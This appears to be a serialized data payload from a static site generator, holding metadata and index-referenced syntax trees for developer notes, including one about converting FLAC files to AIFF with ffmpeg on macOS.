pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":20,"searchDepth":57,"depth":57,"links":1148},[],"2022-08-10","One-liner to convert all FLAC files to AIFF format using ffmpeg on macOS",{},"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":1035,"description":1150},{"loc":1152},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[1157,1158,72,1159],"ffmpeg","audio","macos","TAUWGNDcayHB2yDba8Sq8DH-TcIpYitPjo-XPI7ple0",[1162,1389],{"id":704,"title":705,"author":6,"body":1163,"date":990,"description":991,"extension":61,"image":62,"meta":1385,"navigation":64,"path":993,"seo":1386,"sitemap":1387,"stem":996,"tags":1388,"__hash__":1000},{"type":8,"value":1164,"toc":1383},[1165,1167,1173,1179,1381],[11,1166,705],{"id":710},[41,1168,713,1169,717,1171,249],{},[22,1170,716],{},[22,1172,720],{},[41,1174,723,1175,727,1177,731],{},[22,1176,726],{},[22,1178,730],{},[15,1180,1181],{"className":734,"code":735,"language":71,"meta":20,"style":20},[22,1182,1183,1191,1201,1205,1213,1219,1231,1239,1245,1249,1253,1269,1279,1283,1287,1293,1301,1305,1309,1313,1317,1325,1329,1337,1349,1361,1373],{"__ignoreMap":20},[25,1184,1185,1187,1189],{"class":27,"line":28},[25,1186,743],{"class":742},[25,1188,747],{"class":746},[25,1190,750],{"class":742},[25,1192,1193,1195,1197,1199],{"class":27,"line":57},[25,1194,756],{"class":755},[25,1196,759],{"class":742},[25,1198,762],{"class":755},[25,1200,765],{"class":35},[25,1202,1203],{"class":27,"line":195},[25,1204,198],{"emptyLinePlaceholder":64},[25,1206,1207,1209,1211],{"class":27,"line":201},[25,1208,774],{"class":755},[25,1210,777],{"class":755},[25,1212,780],{"class":742},[25,1214,1215,1217],{"class":27,"line":207},[25,1216,785],{"class":31},[25,1218,788],{"class":742},[25,1220,1221,1223,1225,1227,1229],{"class":27,"line":322},[25,1222,793],{"class":755},[25,1224,797],{"class":796},[25,1226,800],{"class":755},[25,1228,803],{"class":31},[25,1230,806],{"class":742},[25,1232,1233,1235,1237],{"class":27,"line":328},[25,1234,811],{"class":742},[25,1236,814],{"class":796},[25,1238,817],{"class":742},[25,1240,1241,1243],{"class":27,"line":334},[25,1242,822],{"class":742},[25,1244,825],{"class":796},[25,1246,1247],{"class":27,"line":340},[25,1248,830],{"class":742},[25,1250,1251],{"class":27,"line":345},[25,1252,198],{"emptyLinePlaceholder":64},[25,1254,1255,1257,1259,1261,1263,1265,1267],{"class":27,"line":351},[25,1256,793],{"class":755},[25,1258,841],{"class":796},[25,1260,800],{"class":755},[25,1262,846],{"class":31},[25,1264,849],{"class":742},[25,1266,852],{"class":755},[25,1268,780],{"class":742},[25,1270,1271,1273,1275,1277],{"class":27,"line":357},[25,1272,859],{"class":755},[25,1274,862],{"class":742},[25,1276,865],{"class":755},[25,1278,868],{"class":742},[25,1280,1281],{"class":27,"line":363},[25,1282,830],{"class":742},[25,1284,1285],{"class":27,"line":368},[25,1286,198],{"emptyLinePlaceholder":64},[25,1288,1289,1291],{"class":27,"line":373},[25,1290,881],{"class":755},[25,1292,780],{"class":742},[25,1294,1295,1297,1299],{"class":27,"line":379},[25,1296,888],{"class":755},[25,1298,891],{"class":31},[25,1300,894],{"class":742},[25,1302,1303],{"class":27,"line":385},[25,1304,899],{"class":742},[25,1306,1307],{"class":27,"line":391},[25,1308,904],{"class":742},[25,1310,1311],{"class":27,"line":397},[25,1312,909],{"class":742},[25,1314,1315],{"class":27,"line":403},[25,1316,914],{"class":742},[25,1318,1319,1321,1323],{"class":27,"line":408},[25,1320,919],{"class":742},[25,1322,747],{"class":746},[25,1324,750],{"class":742},[25,1326,1327],{"class":27,"line":413},[25,1328,198],{"emptyLinePlaceholder":64},[25,1330,1331,1333,1335],{"class":27,"line":419},[25,1332,743],{"class":742},[25,1334,934],{"class":746},[25,1336,750],{"class":742},[25,1338,1339,1341,1343,1345,1347],{"class":27,"line":425},[25,1340,941],{"class":742},[25,1342,41],{"class":746},[25,1344,946],{"class":742},[25,1346,41],{"class":746},[25,1348,750],{"class":742},[25,1350,1351,1353,1355,1357,1359],{"class":27,"line":431},[25,1352,941],{"class":742},[25,1354,41],{"class":746},[25,1356,959],{"class":742},[25,1358,41],{"class":746},[25,1360,750],{"class":742},[25,1362,1363,1365,1367,1369,1371],{"class":27,"line":437},[25,1364,941],{"class":742},[25,1366,41],{"class":746},[25,1368,972],{"class":742},[25,1370,41],{"class":746},[25,1372,750],{"class":742},[25,1374,1375,1377,1379],{"class":27,"line":443},[25,1376,919],{"class":742},[25,1378,934],{"class":746},[25,1380,750],{"class":742},[53,1382,987],{},{"title":20,"searchDepth":57,"depth":57,"links":1384},[],{},{"title":705,"description":991},{"loc":993},[71,998,999],{"id":4,"title":5,"author":6,"body":1390,"date":59,"description":60,"extension":61,"image":62,"meta":1417,"navigation":64,"path":65,"seo":1418,"sitemap":1419,"stem":68,"tags":1420,"__hash__":73},{"type":8,"value":1391,"toc":1415},[1392,1394,1406,1408,1413],[11,1393,5],{"id":13},[15,1395,1396],{"className":17,"code":18,"language":19,"meta":20,"style":20},[22,1397,1398],{"__ignoreMap":20},[25,1399,1400,1402,1404],{"class":27,"line":28},[25,1401,32],{"class":31},[25,1403,36],{"class":35},[25,1405,39],{"class":35},[41,1407,43],{},[15,1409,1411],{"className":1410,"code":48,"language":49},[47],[22,1412,48],{"__ignoreMap":20},[53,1414,55],{},{"title":20,"searchDepth":57,"depth":57,"links":1416},[],{},{"title":5,"description":60},{"loc":65},[70,71,72],1776084468190]